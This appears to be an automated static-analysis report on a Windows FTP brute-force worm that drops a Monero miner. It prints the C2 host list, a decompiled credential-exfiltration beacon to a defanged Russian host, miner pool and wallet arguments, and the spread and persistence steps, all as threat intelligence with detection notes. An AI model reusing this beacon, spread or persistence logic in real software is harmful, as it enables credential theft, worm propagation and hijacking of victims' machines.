Honeypot capture

X86 PE32 executable for MS Windows 4.00 (GUI) worm (807126cbae47)

C2 verifiedProtocol documented

A PE32 sample for x86, 1,578,496 bytes, arrived from a honeypot sensor network. An automated pipeline built on Binary Ninja pulled 15 command-and-control endpoints out of the sample statically, across 13 distinct hosts; C2 here means the channel an infected machine uses to reach its operator for instructions. All 15 carry an agreement verdict from a second decompiler backend, which resolved the same addresses independently. The findings give that independent resolution as the reason to have more confidence that the addresses are real. Kinryu Labs attributes the findings to that pipeline rather than to an analyst.

The pipeline read the sample as data — loaded, disassembled and decompiled, never executed — and contacted or resolved no recovered endpoint, so nothing below rests on observed runtime behaviour. The second backend’s agreement covers the endpoints, the transport and the config encoding; the behaviour rows and host-indicator rows below sat outside that consensus round and rest on the primary decompiler read alone. Two tools produced nothing to check against: capa exited 1 with an OSError, leaving no independent capability table, and FLOSS exited 1 in both modes, leaving no stack- or tight-string recovery.

The sample is an FTP-credential-brute-force worm that drops a cryptominer. A worm copies itself to further machines with no user action, so one infection becomes many. A cryptominer hijacks the machine’s CPU or GPU to mine cryptocurrency for the operator. The victim pays the electricity and hardware wear, and the coins and pool credit go to the attacker. The sample fetches a substitution-encoded CryptoNight miner config over HTTP and drops and runs NsCpuCNMiner32.exe out of the RCDATA1 resource. It spreads over FTP by uploading itself as Photo.scr and injecting an [iframe] into web pages. It reports each working (IP, user, pass) tuple to hrtests[.]ru/S.php. There is no command dispatcher; the fetched config body is consumed as miner configuration, and no code path treats it as a command to run.

The dropper itself is not packed, and its hashes let a reader pivot to the same sample in other repositories and sandboxes.

SHA-256807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d
MD5aba2d86ed17f587eb6d57e6c75f64f05
SHA-1aeccba64f4dd19033ac2226b4445faac05c88b76
ssdeep24576:pWKqa4hnzP3w7L3rmZmpk7FSQFW2iJ+N07/TwYV1CdZdQ+4lT+iFgiGTtswAtdz:pSrwf3aZmpOFU2iQNIUc1LxGTtswgd
imphash87e83bda436138fd7844ecd76decc70d
File typePE32 executable for MS Windows 4.00 (GUI), x86, 9 sections
Size1,578,496 bytes
Analysed2026-09-14

The table lists the file properties as recovered. The ssdeep value is a fuzzy hash, which stays similar when a file is edited slightly, so near-identical variants match on it. The submitted filename was the SHA-256 itself and is untrusted. Network values here and below are defanged.

The decompiler yielded eleven behaviours, each anchored to the file offset where the pipeline read it:

BehaviourATT&CKMBCFile offsetConfidence
HTTP config-fetch C2, 9-host rotationT1071.001B00300x401fb30.95
Dead-drop config over web serviceT1102—0x4021890.85
Obfuscated config (substitution)T1027—0x4021100.90
Plaintext-query data encodingT1132.001—0x4019db0.90
FTP credential brute forceT1110.001—0x401ccc0.90
Harvested-credential exfilT1552.001 / T1071.001—0x4019db0.85
FTP upload / iframe injectionT1105 / T1080—0x40155d0.90
Resource hijacking (Monero miner)T1496—0x4023ff0.95
Registry Run-key persistenceT1547.001—0x4024830.90
Removable-media / all-drive copyT1091—0x4025090.85
Command-shell executionT1059.003—0x40232d0.95

ATT&CK and MBC mapping, the file offset where each behaviour was read, and the pipeline’s own confidence score for it. On what was and was not independently checked, see the scope note above.

The nine-host rotation

The host list is a flat array of nine fixed-width strings, readable in the raw bytes:

73746166667465737400... = 'stafftest.ru','hrtests.ru','profetest.ru','testpsy.ru','pstests.ru','qptest.ru','prtests.ru','jobtests.ru','iqtesti.ru' (9 x 0x14, stride confirmed) — binja @ 0x401e50

The sample selects the host from a counter at 0x401f42:

imul edx (edx=0x38e38e39) ; 0x401f4c-0x401f58: sar edx,1 / sub / lea eax,[edx+edx*8] / sub edi,eax => var_1209c % 9 selects host index — binja @ 0x401f42

The decompiler records that sequence — the multiply by 0x38e38e39, the shift, and the lea/sub pair — as computing var_1209c % 9, and the sample uses the remainder as the index into the nine-entry array, so the loop walks the list and wraps. The request is "http://%s/test.html?%d" (0x401f44), issued through WinINET with an empty User-Agent — InternetOpenA is called with lpszAgent NULL at 0x401f11. A detection can key on the fixed test.html?[int] path together with the empty User-Agent.

The sample accepts a response only if it exceeds 0x800 bytes, contains the literal sentinel Sr&w09. (magic 5372267730392e, checked at 0x402019), and has more than 0x400 bytes after it; the loop retries every 2 s and gives up after 900 attempts. Fetching the config as an obfuscated response body from an ordinary web path maps to T1102, assessed at 0.85.

The config substitution

The sample obfuscates the config body with an involutive monoalphabetic substitution over a 48-byte alphabet. The alphabet — symbols and punctuation, the digits, the lowercase letters in QWERTY row order, and a space — is built on the stack at 0x40208d and recorded in full as the key bytes in crypto.key_hex; the map is alphabet[j] ↔ alphabet[0x2f − j] around the pivot at 0x402088, applied to the first 0x1000 bytes of the response by the loop at 0x402110. Because each character is paired with its mirror, the transform is its own inverse, so the same routine encodes and decodes, and a reader holding the 48 alphabet bytes can decode a captured response offline, with no request to any host.

The shipped wire-format document protocol_spec.md gives three message types with byte-offset field tables, worked hex and the offline-decode recipe, so a reader can see each field and the offset it sits at, and all three test vectors round-trip through the recovered dissector. The findings treat that round-trip as showing the format is understood well enough to decode live traffic. The substitution is the only obfuscation the pipeline found on the wire; the config request and the exfil beacon are plaintext HTTP query strings, mapped to T1132.001 at 0.90.

The FTP spread and the credential beacon

The sample spreads in 400 threads, each of which generates a random IPv4 target and rewrites a first octet of 127 to 78 at 0x401cbe, picks a username by % 5 and a password by % 30 from a 5-by-30 dictionary (T1110.001, 0.90), and connects on tcp/21. It uploads a copy of itself as Photo.scr via FtpPutFileA, injects [iframe src=Photo[.]scr] into web files it walks past, and recurses into directories (T1080 / T1105, 0.90).

On a successful login the sample reports the working credential to a fixed URL, whose format string sits at 0x4019bc as hxxp[://]hrtests[.]ru/S.php?ver=24&pc=%s&user=%s&sys=%s&cmd=%s&startup=%s/%s, and the call site fills it in:

sprintf(&ebp_1[-0xa06], _Format_4, ebp_1-0x427f, eax_59, eax_58, &ebp_1[-0xf06], var_42f4_1, dwContext_1) pc<-arg1 (target IP, strcpy 0x401985 of ebp_1[2]); user<-arg2 (ebp_1[3]); sys<-arg3 (ebp_1[4]); cmd<-%APPDATA% (ExpandEnvironmentStringsA 0x40196d); startup<-arg4/found-file — binja @ 0x4019db

The sys= parameter, despite the name, carries the FTP password. One captured beacon therefore yields a working FTP credential set for a third-party server in cleartext, along with the victim’s %APPDATA% path and the web directory that was poisoned, assessed at 0.85.

Host artifacts

All side effects run via cmd.exe /c through ShellExecuteA (0x40232d, 0.95). The sample writes the miner out of the RCDATA1 resource into %TEMP% and launches it at 0x4023ff, echoes the pool list to %TEMP%\pools.txt, writes an HKCU Run value literally named Run that points at its own path (0x402483), and runs an xcopy loop at 0x402509 that copies it to every drive letter A: through Z:, which the pipeline maps as removable-media propagation (T1091) at 0.85.

KindValueContextAddress
file%TEMP%\NsCpuCNMiner32.exedropped CryptoNight miner from RCDATA10x402309
file%TEMP%\pools.txtminer pool list written by the echo command0x402417
filePhoto[.]scrname the worm uploads its own copy under, over FTP0x4014c8
registryHKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Runautostart persistence0x402483
processNsCpuCNMiner32[.]exerunning miner0x402261
fileweb files (.php/.htm/.xml/.asp, +13 more) carrying [iframe src=Photo[.]scr]drive-by injection0x415000

Each host indicator with the address of the code that writes or references it. On their verification status see the scope note above.

The sample falls back to arguments compiled into it where the fetched config lacks the string "Section":

__builtin_strncpy(&var_11f1c, "-o stratum+tcp://mine[.]moneropool[.]com:3336 -t 1 -u 42n7TTpcpLe8yPPLxgh27xXSBWJnVu9bW8t7GuZXGWt74vryjew2D5EjSSvHBmxNhx8RezfYjv3J7W63bWS8fEgg6tct3yZ -p x", 0x94) ; hardcoded miner args, used when the fetched config lacks "Section" — binja @ 0x4025e7

A reader can therefore recover the Monero wallet address from these compiled-in arguments without any C2 response at all. A second campaign indicator is the brute-force password derok010101 in the dictionary at 0x415120, which the findings record as a likely operator handle on the strength of the string alone, with no runtime or external check behind it.

Requirements to run

Execution needs only user privilege — the %TEMP% drop and HKCU persistence are both within reach of a standard account. The dropper imports KERNEL32, WININET, ADVAPI32 and SHELL32, and links the TDM-GCC CRT, and the network requirements are outbound tcp/80 for the config fetch and exfil, tcp/21 for the FTP spread, and stratum on tcp/3336, 3333, 7777 and 5555 from the dropped miner. The findings record these ports and dependencies as what the sample needs to run, so denying any one of them blocks it: tcp/80 carries the config fetch and the credential beacon, tcp/21 carries the FTP spread, and the stratum ports carry the dropped miner’s traffic to a pool.

Anti-analysis

The pipeline found no anti-analysis behaviour in the dropper. The dropper’s single GetProcAddress call site at 0x402668 resolves to a benign GCJ CRT stub with one caller. The code that was read contains no anti-debug, anti-VM or timing check, and the sample was never executed, so no runtime check could have been observed. Winsock connect/send/recv never appear, so all transport is WinINET and FTP. The substitution at 0x402110 obfuscates the config body on the wire and is recorded as a capability, T1027.

Corroboration across tools

strings and rabin2 anchor every indicator to a file offset and agree with each other, and Ghidra and radare2 re-resolved the endpoints, the transport and the encoding. No FLOSS output exists to add to this (see the scope note above). A full byte sweep found one network indicator absent from the curated profile, hxxp[://]schemas[.]microsoft[.]com/SMI/2005/WindowsSettings, present in the bytes but unconfirmed as C2.

The packed second stage

The dropped second stage, RCDATA1, is 1,433,600 bytes, most of the dropper’s 1,578,496, carries SHA-256 a0eba3fda0d7b22a5d694105ec700df7c7012ddc4ae611c3071ef858e2c69f08, and is VMProtect-packed: its .text, .rdata and .data carry zero raw bytes. Its own stratum login, worker naming and any internal C2 are therefore unrecovered. A candidate embedded payload also sits at offset 0x2339c — a DOS/PE stub, where a valid MZ magic commonly marks a bundled second stage.

The shipped artifacts

This analysis ships blocklist.txt, the defanged iocs.csv, the wire-format document protocol_spec.md, the machine-readable c2_profile.json, and the per-phase JSON from static enrichment through consensus, packer, config and YARA. The reproduction/ tools are live-C2 code that touch the network only with an explicit target or listen flag, and they should be run only in an isolated lane.

What the analysis has not established

The analysis has not established which addresses the C2 hosts currently resolve to, whether they still answer on the recovered port, or how the sample behaves at runtime in timing, retry and post-execution.

Family
unclassified
First seen
October 24, 2026
Vector
Runs as a worm/cryptominer; the entry vector is not established by static analysis
Format
1542 KB x86 PE32 executable for MS Windows 4.00 (GUI)
VirusTotal
66/75 engines: miner.crytes/agentb
Tags
cryptominer · pe · stealer · wininet · worm · x86
Sample
By request. Email [email protected]

SHA-256

  • 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d as captured

Analysis performed using an automatic malware analysis pipeline using Binary Ninja

← All captures